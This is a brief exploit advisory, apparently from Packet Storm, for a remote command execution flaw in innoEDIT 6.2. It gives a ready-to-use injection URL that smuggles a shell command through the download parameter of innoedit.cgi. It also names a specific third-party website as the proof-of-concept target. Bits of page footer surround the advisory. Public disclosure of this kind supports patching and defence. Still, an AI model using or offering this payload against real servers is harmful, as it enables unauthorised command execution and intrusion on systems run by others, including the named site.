innoEDIT version 6.2 suffers from a remote command execution vulnerability.
a84ae0a9198c45f8c61093d04e2ace4490cd15507d7a8f10f9f4446e77bcd88e[+] Remote Comand Execution on innoEDIT
[+] Date: 21/03/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage : https://www.inno.com.mx/innoedit.htm
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on Windows 7 and Linux
[+] Vulnerable File: innoedit.cgi
[+] Version : Version 6.2
[+] Exploit: https://host/innoedit/innoedit.cgi?download=;id|
[+] PoC: https://www.mtyjet.com/innoedit/innoedit.cgi?download=;id|
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed